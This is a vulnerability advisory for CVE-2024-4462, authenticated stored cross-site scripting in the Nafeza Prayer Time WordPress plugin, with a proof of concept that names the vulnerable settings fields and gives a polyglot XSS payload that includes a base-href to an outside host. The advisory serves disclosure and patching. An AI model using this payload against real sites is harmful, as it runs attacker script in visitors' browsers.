Description

The Nafeza Prayer Time plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.2.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

Severity

4.4 (Medium) - CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Affected Version

<= 1.2.9

PoC :

- Go To Prayers Time
- Put this payload on field nafeza_prayer_time_setting_view_imsak, nafeza_prayer_time_setting_method, nafeza_prayer_time_setting_school, nafeza_prayer_time_setting_latitude, nafeza_prayer_time_setting_longitude, nafeza_prayer_time_setting_city, nafeza_prayer_time_setting_country,nafeza_prayer_time_setting_imsak_difference, nafeza_prayer_time_setting_fajr_difference, nafeza_prayer_time_setting_sunrise_difference, nafeza_prayer_time_setting_duhur_difference, nafeza_prayer_time_setting_asr_difference, nafeza_prayer_time_setting_maghrib_difference, nafeza_prayer_time_setting_isha_difference
JavaScript://%0A/*?'/*\\'/*"/*\\"/*`/*\\`/*&apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(confirm)(1+2+3+4+5+6+7+8+9+10+11+12+13+14+15+16+17+18+19+20+45+500+1000-400-20+2)}//><Base/Href=//ener1-s3c.github.io\\76-->
- Save Change

Reference

  • https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/nafeza-prayer-time/nafeza-prayer-time-129-authenticated-administrator-stored-cross-site-scripting
  • https://www.cve.org/CVERecord?id=CVE-2024-4462